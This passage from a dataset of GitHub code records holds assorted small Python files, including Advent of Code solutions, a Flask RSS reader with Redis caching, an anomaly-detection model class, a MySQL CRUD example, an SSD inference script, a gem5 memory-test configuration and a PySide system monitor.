render_template(\"create_trip.html\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n","repo_name":"BariGisher20/TestWelveX","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1590814245","text":"from multiprocessing import Process\n\nfrom opgg import Opgg\nfrom riotapi import RiotApi\n\n\ndef main():\n riot = RiotApi()\n name = input(\"enter summoner name:\")\n active_match = riot.get_summoner_active_match(name)\n\n for participant in active_match.participants:\n p = Process(target=get_participant_info, args=(participant,))\n p.start()\n p.join()\n\n\ndef get_participant_info(participant):\n opgg = Opgg()\n champion = participant.champion\n summoner_name = participant.summoner_name\n summoner_id = participant.summoner.id\n team = participant.side.name\n opgg.refresh_summoner_info(summoner_id)\n opgg_request = opgg.get_summoner_request_result(summoner_name)\n summoner_winrate = opgg.get_summoner_recent_winrate(opgg_request)\n\n print(\"{name} playing with {champion} on team:{team}. Actual Winrate:{winrate}\".format(\n name=summoner_name, champion=champion, team=team, winrate=summoner_winrate))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"LuanSena/TiltSniffer","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"11892303745","text":"import collections\nimport functools\nimport itertools\nimport math\nimport re\nimport parse\nfrom pprint import pprint\n\nimport utils\n\ndef parse(inpt):\n grid = []\n for line in inpt:\n grid.append([int(x) for x in list(line)])\n return grid\n\ndef is_low_point(grid, r, c):\n for d in utils.FOUR_DIRECTIONS:\n try:\n if grid[r][c] >= grid[r+d[0]][c+d[1]]:\n return False\n except IndexError:\n continue\n return True\n\ndef do_part_1(inpt):\n grid = parse(inpt)\n risk = 0\n for r in range(len(grid)):\n for c in range(len(grid[0])):\n if is_low_point(grid, r, c):\n risk += grid[r][c] + 1\n return risk\n\ndef get_basin_members(lp, grid):\n members = {lp}\n tried = set()\n grid_dimensions = (len(grid), len(grid[0]))\n candidates = utils.get_neighbor_coordinates(lp, grid_dimensions)\n while len(candidates) > 0:\n cand = candidates.pop()\n if cand in tried or cand in members:\n continue\n elif grid[cand[0]][cand[1]] < 9:\n members.add(cand)\n candidates.update(utils.get_neighbor_coordinates(cand, grid_dimensions))\n else:\n tried.add(cand)\n return frozenset(members)\n\n\ndef do_part_2(inpt):\n grid = parse(inpt)\n low_points = []\n for r in range(len(grid)):\n for c in range(len(grid[0])):\n if is_low_point(grid, r, c):\n low_points.append((r, c))\n\n basins = {get_basin_members(lp, grid) for lp in low_points}\n basin_sizes = sorted([len(basin) for basin in basins])\n return basin_sizes[-1] * basin_sizes[-2] * basin_sizes[-3]\n\ndef go(input_file, part):\n inpt = utils.load_input_file(input_file)\n if part == 1:\n return do_part_1(inpt)\n else:\n return do_part_2(inpt)\n","repo_name":"mikaylathompson/advent2021","sub_path":"days/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"24906174109","text":"from __future__ import annotations\n\nimport logging\n\nimport torch\nfrom omegaconf import DictConfig, ListConfig\nfrom pytorch_lightning.utilities.types import STEP_OUTPUT\nfrom torch import Tensor\n\nfrom anomalib.models.components import AnomalyModule\nfrom anomalib.models.components.classification import FeatureScalingMethod\n\nfrom .torch_model import DfkdeModel\n\nlogger = logging.getLogger(__name__)\n\n\nclass Dfkde(AnomalyModule):\n \"\"\"DFKDE: Deep Feature Kernel Density Estimation.\n\n Args:\n backbone (str): Pre-trained model backbone.\n pre_trained (bool, optional): Boolean to check whether to use a pre_trained backbone.\n max_training_points (int, optional): Number of training points to fit the KDE model.\n Defaults to 40000.\n pre_processing (str, optional): Preprocess features before passing to KDE.\n Options are between `norm` and `scale`. Defaults to \"scale\".\n n_components (int, optional): Number of PCA components. Defaults to 16.\n threshold_steepness (float, optional): Controls how quickly the value saturates around zero.\n Defaults to 0.05.\n threshold_offset (float, optional): Offset of the density function from 0. Defaults to 12.0.\n \"\"\"\n\n def __init__(\n self,\n layers: list[str],\n backbone: str,\n pre_trained: bool = True,\n n_pca_components: int = 16,\n feature_scaling_method: FeatureScalingMethod = FeatureScalingMethod.SCALE,\n max_training_points: int = 40000,\n ) -> None:\n super().__init__()\n\n self.model = DfkdeModel(\n layers=layers,\n backbone=backbone,\n pre_trained=pre_trained,\n n_pca_components=n_pca_components,\n feature_scaling_method=feature_scaling_method,\n max_training_points=max_training_points,\n )\n\n self.embeddings: list[Tensor] = []\n\n @staticmethod\n def configure_optimizers() -> None: # pylint: disable=arguments-differ\n \"\"\"DFKDE doesn't require optimization, therefore returns no optimizers.\"\"\"\n return None\n\n def training_step(self, batch: dict[str, str | Tensor], *args, **kwargs) -> None:\n \"\"\"Training Step of DFKDE. For each batch, features are extracted from the CNN.\n\n Args:\n batch (batch: dict[str, str | Tensor]): Batch containing image filename, image, label and mask\n\n Returns:\n Deep CNN features.\n \"\"\"\n del args, kwargs # These variables are not used.\n\n embedding = self.model(batch[\"image\"])\n\n # NOTE: `self.embedding` appends each batch embedding to\n # store the training set embedding. We manually append these\n # values mainly due to the new order of hooks introduced after PL v1.4.0\n # https://github.com/PyTorchLightning/pytorch-lightning/pull/7357\n self.embeddings.append(embedding)\n\n def on_validation_start(self) -> None:\n \"\"\"Fit a KDE Model to the embedding collected from the training set.\"\"\"\n # NOTE: Previous anomalib versions fit Gaussian at the end of the epoch.\n # This is not possible anymore with PyTorch Lightning v1.4.0 since validation\n # is run within train epoch.\n embeddings = torch.vstack(self.embeddings)\n\n logger.info(\"Fitting a KDE model to the embedding collected from the training set.\")\n self.model.classifier.fit(embeddings)\n\n def validation_step(self, batch: dict[str, str | Tensor], *args, **kwargs) -> STEP_OUTPUT:\n \"\"\"Validation Step of DFKDE.\n\n Similar to the training step, features are extracted from the CNN for each batch.\n\n Args:\n batch (dict[str, str | Tensor]): Input batch\n\n Returns:\n Dictionary containing probability, prediction and ground truth values.\n \"\"\"\n del args, kwargs # These variables are not used.\n\n batch[\"pred_scores\"] = self.model(batch[\"image\"])\n return batch\n\n\nclass DfkdeLightning(Dfkde):\n \"\"\"DFKDE: Deep Feature Kernel Density Estimation.\n\n Args:\n hparams (DictConfig | ListConfig): Model params\n \"\"\"\n\n def __init__(self, hparams: DictConfig | ListConfig) -> None:\n super().__init__(\n layers=hparams.model.layers,\n backbone=hparams.model.backbone,\n pre_trained=hparams.model.pre_trained,\n n_pca_components=hparams.model.n_pca_components,\n feature_scaling_method=FeatureScalingMethod(hparams.model.feature_scaling_method),\n max_training_points=hparams.model.max_training_points,\n )\n self.hparams: DictConfig | ListConfig # type: ignore\n self.save_hyperparameters(hparams)\n","repo_name":"openvinotoolkit/anomalib","sub_path":"src/anomalib/models/dfkde/lightning_model.py","file_name":"lightning_model.py","file_ext":"py","file_size_in_byte":4692,"program_lang":"python","lang":"en","doc_type":"code","stars":2572,"dataset":"github-code","pt":"78"}
+{"seq_id":"4595963956","text":"from .app import app\n\n\n@app.websocket(\"/feed\")\nasync def foo3(request, ws):\n while True:\n data = \"hello!\"\n print(\"Sending: \" + data)\n await ws.send(data)\n data = await ws.recv()\n print(\"Received: \" + data)\n","repo_name":"pcah/pca-archunit","sub_path":"examples/sanic_example_app/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"19124460272","text":"class Persona:\r\n # asterisco indica que el parametro es opcional. doble asterisco es para hacer ingreso opcional de un diccionario?\r\n def __init__(this, n, e, *v, **d):\r\n this.nombre = n\r\n this.edad = e\r\n this.valores = v\r\n this.diccionario = d\r\n\r\n def desplegar(this):\r\n print(\"Nombre: \", this.nombre)\r\n print(\"Edad: \", this.edad)\r\n print(\"Valores (Tupla): \", this.valores)\r\n print(\"Diccionario: \", this.diccionario)\r\n\r\n\r\np1 = Persona(\"Juan\", 28)\r\n\r\np1.desplegar()\r\nprint()\r\n\r\n\r\np2 = Persona(\"Esteban\", 28, 2, 3, 4, 5)\r\n\r\np2.desplegar()\r\nprint()\r\n\r\np3 = Persona(\"Julia\", 40, 2, 3, 6, 9, m=\"manzana\", p=\"pera\")\r\n\r\np3.desplegar()\r\nprint()\r\n","repo_name":"aldocarrion/PythonTraining","sub_path":"clases-extra.py","file_name":"clases-extra.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74612807611","text":"import subprocess\nimport socket\nimport time\n\ndef run_tests(tests):\n for test in tests:\n raw_args = test.split()\n args = []\n for token in raw_args:\n if token.isdigit():\n args[-1] = (args[-1][0], token)\n else:\n args.append((token, \"\"))\n\n encode_args = \"_\".join([arg[0][1:] + arg[1] for arg in args])\n\n log_name = \"{}-{}-{}.log\".format(socket.gethostname(), int(time.time()), encode_args)\n cmd = [\"./rtm-bench\"]\n cmd.extend(raw_args)\n print(\"{} > {}\".format(\" \".join(cmd), log_name))\n with open(log_name, \"w\") as fd:\n subprocess.run(cmd, stdout = fd)\n","repo_name":"caizixian/rtm-bench","sub_path":"run_base.py","file_name":"run_base.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"22926113398","text":"import pymysql.cursors\nfrom contextlib import contextmanager\n\n# CRUD - CREATE, READ, UPDATE, DELETE\n\n@contextmanager\ndef conecta():\n conexao = pymysql.connect(\n host='127.0.0.1',\n user='root',\n password='',\n db='clientes',\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor\n )\n\n try:\n yield conexao\n finally:\n print('conexão fechada')\n conexao.close()\n\n# # Inserindo 1 registro na base de dados\n# with conecta() as conexao:\n# with conexao.cursor() as cursor:\n# sql = 'INSERT INTO clientes (nome, sobrenome, idade, peso) VALUES (%s, %s, %s, %s)'\n# cursor.execute(sql, ('Jack', 'Monroe', 112, 220))\n# conexao.commit()\n\n# #Inserindo varios registros na base de dados\n# with conecta() as conexao:\n# with conexao.cursor() as cursor:\n# sql = 'INSERT INTO clientes (nome, sobrenome, idade, peso) VALUES (%s, %s, %s, %s)'\n\n# dados = [\n# ('Odair', 'Junior', 45, 95),\n# ('Rose', 'Otávio', 25, 65),\n# ('João', 'Doria', 43, 70),\n# ]\n# cursor.executemany(sql, dados)\n# conexao.commit()\n\n# # deletando 1 valor\n# with conecta() as conexao:\n# with conexao.cursor() as cursor:\n# sql = 'DELETE FROM clientes WHERE id = %s'\n# cursor.execute(sql, (7,))\n# conexao.commit()\n\n# # deletando varios registros determinados\n# with conecta() as conexao:\n# with conexao.cursor() as cursor:\n# sql = 'DELETE FROM clientes WHERE id IN (%s, %s, %s)'\n# cursor.execute(sql, (8, 9, 10))\n# conexao.commit()\n\n# # deletando varios valor de um intervalo\n# with conecta() as conexao:\n# with conexao.cursor() as cursor:\n# sql = 'DELETE FROM clientes WHERE id BETWEEN %s AND %s'\n# cursor.execute(sql, (5, 13))\n# conexao.commit()\n\n# # atualizando valor\n# with conecta() as conexao:\n# with conexao.cursor() as cursor:\n# sql = 'UPDATE clientes SET nome = %s WHERE id=%s'\n# cursor.execute(sql, ('Silvia', 4))\n# conexao.commit()\n\n# Este seleciona os dados da base de dados\nwith conecta() as conexao:\n with conexao.cursor() as cursor:\n cursor.execute('SELECT * FROM clientes LIMIT 100')\n resultado = cursor.fetchall()\n\n for linha in resultado:\n print(linha)\n","repo_name":"Leodf/projetos-python","sub_path":"6-python-base_de_dados/aula03-CRUD_mysql_mariaDB/mariadb_mysql.py","file_name":"mariadb_mysql.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"16434258456","text":"import json\nimport logging\nfrom flask import Flask, render_template\nimport feedparser\nimport yaml\nimport redis\nfrom bs4 import BeautifulSoup\n\n# Constants\nRSS_FEEDS_FILE = \"rss_feeds.yml\"\nREDIS_HOST = 'redis' # Change this to your Redis host\nREDIS_PORT = 6379\nREDIS_DB = 0\n\n# Setup\napp = Flask(__name__)\napp.config['TEMPLATES_AUTO_RELOAD'] = True\nlogging.basicConfig(level=logging.DEBUG)\n\n# Initialize Redis\nr = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=REDIS_DB, decode_responses=True)\n\ndef load_feeds_from_yaml(file_path):\n with open(file_path, 'r', encoding='utf-8') as stream:\n return yaml.safe_load(stream)\n\ndef parse_feed(feed_url):\n return feedparser.parse(feed_url)\n\ndef extract_or_parse_image(entry):\n # Check if 'media:thumbnail' or 'media_thumbnail' already contains a URL\n if 'media_thumbnail' in entry and entry['media_thumbnail'][0].get('url', None):\n return\n\n # Check if 'media:content' or 'media_content' contains an image URL\n media_content_key = 'media:content' if 'media:content' in entry else 'media_content'\n if media_content_key in entry:\n first_media = entry[media_content_key][0]\n if first_media.get('url', None):\n entry['media:thumbnail'] = [{\"url\": first_media['url']}]\n return\n \n # If no image found yet, parse the description or summary\n description = entry.get('description', entry.get('summary', ''))\n soup = BeautifulSoup(description, 'html.parser')\n img_tag = soup.find('img')\n \n if img_tag:\n entry['media:thumbnail'] = [{\"url\": img_tag['src']}]\n \n entry['summary'] = soup.get_text()\n\ndef fetch_and_cache_articles(group, feeds):\n group_feeds = []\n\n for feed_info in feeds:\n feed = parse_feed(feed_info['url'])\n entries = []\n article_count = 0 # Initialize article count for this feed\n\n for entry in feed.entries:\n entry_id = entry.get('id', entry.get('link'))\n\n if not r.exists(entry_id):\n extract_or_parse_image(entry)\n r.set(entry_id, json.dumps(entry))\n\n entries.append(entry)\n article_count += 1 # Increment article count for this feed\n\n # Set the article count in Redis with the key as \"{feed_name}_article_count\"\n r.set(f\"{feed_info['name']}_article_count\", article_count)\n\n group_feeds.append({\"name\": feed_info['name'], \"entries\": entries})\n\n # Store the entire group in Redis as well\n r.set(group, json.dumps(group_feeds))\n\n return group_feeds\n\n\n@app.route('/')\ndef index():\n feed_data = load_feeds_from_yaml(RSS_FEEDS_FILE)\n all_feeds = {}\n\n for group, feeds in feed_data.items():\n cached_group = r.get(group)\n\n if cached_group:\n logging.info(f\"Fetching articles for group {group} from Redis.\")\n all_feeds[group] = json.loads(cached_group)\n else:\n logging.info(f\"Fetching articles for group {group} from the web.\")\n group_feeds = fetch_and_cache_articles(group, feeds)\n all_feeds[group] = group_feeds\n\n return render_template('base.html.j2', all_feeds=all_feeds)\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')\n","repo_name":"drobilica/dreader","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"70922329532","text":"import click\n\n\n@click.command()\n@click.option('--f', type=click.File(), default='day14.txt')\ndef cli(f):\n program = [l.strip().split(' = ', 1) for l in f.read().splitlines()]\n\n mask = {}\n memory = {}\n\n for inst in program:\n left, right = inst[0].strip(), inst[1].strip()\n\n if left == 'mask':\n mask = {}\n for i, v in enumerate(right):\n if v != 'X':\n mask[i] = v\n else:\n mem_location = int(left[4:-1])\n value = int(right)\n bin_val = _get_bin_str(value)\n bin_val_with_mask = list(bin_val)\n for k, v in mask.items():\n bin_val_with_mask[k] = v\n str_with_mask = ''.join(bin_val_with_mask)\n memory[mem_location] = int(str_with_mask, 2)\n\n p1_answer = sum(memory.values())\n click.echo(f'[part1] {p1_answer}')\n\n p2_mask = {}\n p2_mem = {}\n\n for inst in program:\n left, right = inst[0].strip(), inst[1].strip()\n if left == 'mask':\n p2_mask = {}\n for i, v in enumerate(right):\n if v != '0':\n if v not in p2_mask:\n p2_mask[v] = []\n p2_mask[v].append(i)\n else:\n mem_location = int(left[4:-1])\n value = int(right)\n\n bin_mem_loc = _get_bin_str(mem_location)\n masked_mem_loc = list(bin_mem_loc)\n if '1' in p2_mask:\n for i in p2_mask['1']:\n masked_mem_loc[i] = '1'\n\n mem_locs = []\n if 'X' in p2_mask:\n x_masks = p2_mask['X']\n masked_mem_loc = ''.join(masked_mem_loc)\n l_x_masks = len(x_masks)\n bins = [_get_bin_str(i, l_x_masks) for i in range(2 ** l_x_masks)]\n for b in bins:\n mem_loc = list(masked_mem_loc)\n bb = list(b)\n for i in range(len(x_masks)):\n mem_loc[x_masks[i]] = bb[i]\n mem_locs.append(''.join(mem_loc))\n\n for loc in mem_locs:\n mem_loc_int = int(loc, 2)\n p2_mem[mem_loc_int] = value\n\n p2_answer = sum(p2_mem.values())\n click.echo(f'[part2] {p2_answer}')\n\n\ndef _get_bin_str(i, l=36):\n b_s = bin(i)[2:]\n return '0' * (l-len(b_s)) + b_s\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"thomasvandoren/advent-of-code-2020","sub_path":"day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23409084070","text":"import os\nimport torch\nimport numpy as np\nimport cv2\nimport argparse\nfrom models.mobilenetv2_backbone import SSD_MobileNetV2\n\n\nVOC_LABELS = {0 : \"background\", 1 : \"aeroplane\", 2 : \"bicycle\", 3 : \"bird\", 4 : \"boat\", 5 : \"bottle\",\n 6 : \"bus\", 7 : \"car\", 8 : \"cat\", 9 : \"chair\", 10 : \"cow\", 11 : \"diningtable\", 12 : \"dog\",\n 13 : \"horse\", 14 : \"motorbike\", 15 : \"person\", 16 : \"pottedplant\", 17 : \"sheep\", 18 : \"sofa\",\n 19 : \"train\", 20 : \"tvmonitor\"}\n\n\nparser = argparse.ArgumentParser(description='Test Params')\nparser.add_argument('--weights')\nparser.add_argument('--imagepath')\nparser.add_argument('--network')\nargs = parser.parse_args()\n\nmeans = (0.485, 0.456, 0.406)\nstd = (0.229, 0.224, 0.225)\n\nif args.network == 'mobilenetv2':\n net = SSD_MobileNetV2(phase='test', num_classes=21)\n net.load_state_dict(torch.load(args.weights, map_location=lambda storage, loc: storage).state_dict())\n net.eval()\n\ntest_images = os.listdir(args.imagepath)\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\nfor image_name in test_images:\n org_img = cv2.imread(args.imagepath + image_name)\n image = cv2.imread(args.imagepath + image_name)\n height, width, _ = image.shape\n image = cv2.resize(image, (300, 300))\n image = np.array(image, dtype=np.float32)/255.\n means = np.array(means, dtype=np.float32)\n image -= means\n image /= std\n image = image[:, :, (2, 1, 0)]\n image = torch.from_numpy(image).float().permute(2, 0, 1)\n image = torch.autograd.Variable(image.unsqueeze(0))\n detections = net(image).data\n print(detections.shape)\n for i in range(1, detections.size(1)):\n dets = detections[0, i, :]\n mask = dets[:, 0].gt(0.5).expand(5, dets.size(0)).t()\n dets = torch.masked_select(dets, mask).view(-1, 5)\n\n boundingboxes = dets[:, 1:]\n boundingboxes[:, 0] *= width\n boundingboxes[:, 1] *= height\n boundingboxes[:, 2] *= width\n boundingboxes[:, 3] *= height\n\n scores = dets[:, 0].cpu().numpy()\n for j in range(scores.shape[0]):\n cv2.rectangle(org_img, (int(boundingboxes[j][0]),int(boundingboxes[j][1])),(int(boundingboxes[j][2]),int(boundingboxes[j][3])),(0,0,255),3)\n cv2.rectangle(org_img, (int(boundingboxes[j][0]), int(boundingboxes[j][3]) - 15),\n (int(boundingboxes[j][2]), int(boundingboxes[j][3])), (0, 0, 255), cv2.FILLED)\n cv2.putText(org_img, 'class : ' + VOC_LABELS[i],\n (int(boundingboxes[j][0]) + 6, int(boundingboxes[j][3]) - 6), font, 0.4, (255, 255, 255), 1)\n\n cv2.imwrite('./results/' + image_name, org_img)\n","repo_name":"bogireddytejareddy/ssd-pytorch","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"35554022630","text":"# Write your solution here\ndef double_items(numbers):\n double_numbers = []\n for item in numbers:\n double_numbers.append(item*2)\n return double_numbers\n\nif __name__ == \"__main__\":\n numbers = [2, 4, 5, 3, 11, -4]\n numbers_doubled = double_items(numbers)\n print(\"original:\", numbers)\n print(\"doubled:\", numbers_doubled)","repo_name":"Hannah-Abi/python-pro-21","sub_path":"intro/part05-08_items_multiplied_by_two/src/items_multiplied_by_two.py","file_name":"items_multiplied_by_two.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"1585789261","text":"\"\"\"\r\nwith\r\n- with EXPR as VAR: BLOCK\r\n- call VAR.__enter__ method at the begining\r\n- call VAR.__exit__ method at the end\r\n\"\"\"\r\n\r\nimport os\r\nimport inspect\r\nfrom pathlib import Path\r\n\r\nfilePath = str(Path(os.path.dirname(__file__)).parent.joinpath(\"_Temp\", \"with.txt\"))\r\n\r\n# Guaranteed to close the file\r\nwith open(filePath, \"w\") as file:\r\n file.write(\"Hi there!\")\r\n print(dir(file))\r\n\r\nprint()\r\na = [2, 4, 2]\r\nprint(dir(a))\r\n\r\nclass temp:\r\n\r\n def __enter__(self):\r\n print(\"__enter__\")\r\n return self\r\n\r\n def Using(self):\r\n print(\"Using()\")\r\n\r\n def __exit__(self, exc_type, exc_val, exc_tb):\r\n print(\"__exit__\")\r\n\r\nprint()\r\nprint(dir(temp))\r\n\r\nprint()\r\nwith temp() as t:\r\n t.Using()\r\n","repo_name":"Oscar-Oliveira/Python-3","sub_path":"10_Exceptions/I_with.py","file_name":"I_with.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"9893698239","text":"import sys\nfrom tabulate import tabulate\nclass printer():\n\t\"\"\"\n\tThis class is just a custom implementation of the print function with color functionality.\n\t\"\"\"\n\tcolors = {\n\t\t'OKGREEN' :'\\033[92m',\n\t\t'WARNING' : '\\033[93m',\n\t\t'FAIL' : '\\033[91m',\n\t\t'ENDC': '\\033[0m' }\n\tdef __init__(self,CLR):\n\t\tself.color = self.colors[CLR]\n\t\tself.term = self.colors['ENDC']\n\n\tdef __call__(self,text):\n\t\tprint(self.color +text+self.term)\n\nprint_s = printer('OKGREEN')\nprint_w = printer('WARNING')\nprint_e = printer('FAIL')\n\ndef clearterm(lines):\n\tsys.stdout.write(\"\\033[K\\033[F\"*(lines+1)+\"\\033[K\")\ndef banner():\n\tprint_w(r\"\"\"\n .--------.\n / .------. \\\n / / \\ \\\n | | | |\n _| |________| |_\n.' |_| |_| '.\n| PASS LOCKER |\n'._____ ____ _____.'\n| .'____'. |\n'.__.'.' '.'.__.'\n'.__ | v1.0 | __.'\n| '.'.____.'.' |\n'.____'.____.'____.'\n'.________________.'\"\"\")","repo_name":"xaviermilgo/Pass-Locker","sub_path":"prints.py","file_name":"prints.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"33648421117","text":"import m5\nfrom m5.objects import *\nfrom m5.defines import buildEnv\nfrom m5.util import addToPath\nimport os, argparse, sys\n\naddToPath(\"../\")\n\nfrom common import Options\nfrom ruby import Ruby\n\n# Get paths we might need. It's expected this file is in m5/configs/example.\nconfig_path = os.path.dirname(os.path.abspath(__file__))\nconfig_root = os.path.dirname(config_path)\n\nparser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n)\nOptions.addNoISAOptions(parser)\n\nparser.add_argument(\n \"--maxloads\", metavar=\"N\", default=0, help=\"Stop after N loads\"\n)\nparser.add_argument(\n \"--progress\",\n type=int,\n default=1000,\n metavar=\"NLOADS\",\n help=\"Progress message interval \",\n)\nparser.add_argument(\"--num-dmas\", type=int, default=0, help=\"# of dma testers\")\nparser.add_argument(\n \"--functional\",\n type=int,\n default=0,\n help=\"percentage of accesses that should be functional\",\n)\nparser.add_argument(\n \"--suppress-func-errors\",\n action=\"store_true\",\n help=\"suppress panic when functional accesses fail\",\n)\n\n#\n# Add the ruby specific and protocol specific options\n#\nRuby.define_options(parser)\n\nargs = parser.parse_args()\n\n#\n# Set the default cache size and associativity to be very small to encourage\n# races between requests and writebacks.\n#\nargs.l1d_size = \"256B\"\nargs.l1i_size = \"256B\"\nargs.l2_size = \"512B\"\nargs.l3_size = \"1kB\"\nargs.l1d_assoc = 2\nargs.l1i_assoc = 2\nargs.l2_assoc = 2\nargs.l3_assoc = 2\n\nblock_size = 64\n\nif args.num_cpus > block_size:\n print(\n \"Error: Number of testers %d limited to %d because of false sharing\"\n % (args.num_cpus, block_size)\n )\n sys.exit(1)\n\n#\n# Currently ruby does not support atomic or uncacheable accesses\n#\ncpus = [\n MemTest(\n max_loads=args.maxloads,\n percent_functional=args.functional,\n percent_uncacheable=0,\n progress_interval=args.progress,\n suppress_func_errors=args.suppress_func_errors,\n )\n for i in range(args.num_cpus)\n]\n\nsystem = System(\n cpu=cpus,\n clk_domain=SrcClockDomain(clock=args.sys_clock),\n mem_ranges=[AddrRange(args.mem_size)],\n)\n\nif args.num_dmas > 0:\n dmas = [\n MemTest(\n max_loads=args.maxloads,\n percent_functional=0,\n percent_uncacheable=0,\n progress_interval=args.progress,\n suppress_func_errors=not args.suppress_func_errors,\n )\n for i in range(args.num_dmas)\n ]\n system.dma_devices = dmas\nelse:\n dmas = []\n\ndma_ports = []\nfor (i, dma) in enumerate(dmas):\n dma_ports.append(dma.test)\nRuby.create_system(args, False, system, dma_ports=dma_ports)\n\n# Create a top-level voltage domain and clock domain\nsystem.voltage_domain = VoltageDomain(voltage=args.sys_voltage)\nsystem.clk_domain = SrcClockDomain(\n clock=args.sys_clock, voltage_domain=system.voltage_domain\n)\n# Create a seperate clock domain for Ruby\nsystem.ruby.clk_domain = SrcClockDomain(\n clock=args.ruby_clock, voltage_domain=system.voltage_domain\n)\n\n#\n# The tester is most effective when randomization is turned on and\n# artifical delay is randomly inserted on messages\n#\nsystem.ruby.randomization = True\n\nassert len(cpus) == len(system.ruby._cpu_ports)\n\nfor (i, cpu) in enumerate(cpus):\n #\n # Tie the cpu memtester ports to the correct system ports\n #\n cpu.port = system.ruby._cpu_ports[i].in_ports\n\n #\n # Since the memtester is incredibly bursty, increase the deadlock\n # threshold to 5 million cycles\n #\n system.ruby._cpu_ports[i].deadlock_threshold = 5000000\n\n# -----------------------\n# run simulation\n# -----------------------\n\nroot = Root(full_system=False, system=system)\nroot.system.mem_mode = \"timing\"\n\n# Not much point in this being higher than the L1 latency\nm5.ticks.setGlobalFrequency(\"1ns\")\n\n# instantiate configuration\nm5.instantiate()\n\n# simulate until program terminates\nexit_event = m5.simulate(args.abs_max_tick)\n\nprint(\"Exiting @ tick\", m5.curTick(), \"because\", exit_event.getCause())\n","repo_name":"gem5/gem5","sub_path":"configs/example/ruby_mem_test.py","file_name":"ruby_mem_test.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":1196,"dataset":"github-code","pt":"78"}
+{"seq_id":"14893437215","text":"#!/usr/bin/env python3\n#31 May 2018, Lab 52 'Construct a ...HTTP Client'\n\nimport http.client\nimport re\n\nconn = http.client.HTTPConnection(\"localhost\", 9021) #(host, port, timeout, source_address=None)\n\nwhile(True):\n print('Welcome to Grok\\'s paleolithic webclient!\\nWhat would you like to do?\\nA- test connection (HEAD)\\nB- Retrieve info (GET)\\nQ- quit')\n action = input('>')\n if action.lower() == 'q':\n print('Thank you!')\n break\n if action.lower() == 'a':\n conn.request('HEAD', '/') #HEAD isn't a CRUD but will still get a response\n res = conn.getresponse() #define response\n print(res.status, res.reason)\n if action.lower() == 'b':\n conn.request('GET', '/') # this time we'll issue GET\n res = conn.getresponse() # res is equal to the response associated wtih conn\n print(res.status, res.reason) # print the response status code and reason \n page_data = res.read() # page_data is all of the data associated with res \n print(str(page_data), file=open('http_readin.txt', 'w')) # this will print out all of the data assocaited with res\n print('The output of GET request has been dropped off in \\\"http_readin.txt\\\" if you really want to look at it')\n if not re.match(\"[a,b,q]\", action):\n print('Invalid input!')\n","repo_name":"rukrainec/mycode","sub_path":"Week2/day3/etcd/eim.py","file_name":"eim.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"}
+{"seq_id":"25673601388","text":"from PySide2.QtCore import Qt\r\nfrom PySide2.QtWidgets import QApplication\r\nfrom monitor_ui import Ui_Form\r\nfrom PySide2 import QtCore\r\nimport psutil\r\nimport threading\r\nimport sys\r\n\r\n\r\nclass Stats(Ui_Form):\r\n def __init__(self):\r\n super().__init__()\r\n self.setupUi(self)\r\n # self._init_ui()\r\n # 设置窗口无边框; 设置窗口置顶;\r\n self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Tool)\r\n # 设置窗口背景透明\r\n # self.setAttribute(Qt.WA_TranslucentBackground)\r\n # 设置透明度(0~1)\r\n self.setWindowOpacity(0.9)\r\n # 设置鼠标为手状\r\n self.setCursor(Qt.PointingHandCursor)\r\n # 设置初始值\r\n self.speed = 0\r\n self.cpu = 0\r\n self.receive_pre = -1\r\n self.sent_pre = -1\r\n self.one_line = ''.join(['*' for i in range(40)])\r\n\r\n self.timer = threading.Timer(1, self.update_ui_label)\r\n self.timer.start()\r\n\r\n def update_ui_label(self):\r\n # 开启独立线程\r\n update_threading = threading.Thread(target=self.set_labels, daemon=True)\r\n update_threading.start()\r\n update_threading.join()\r\n self.timer = 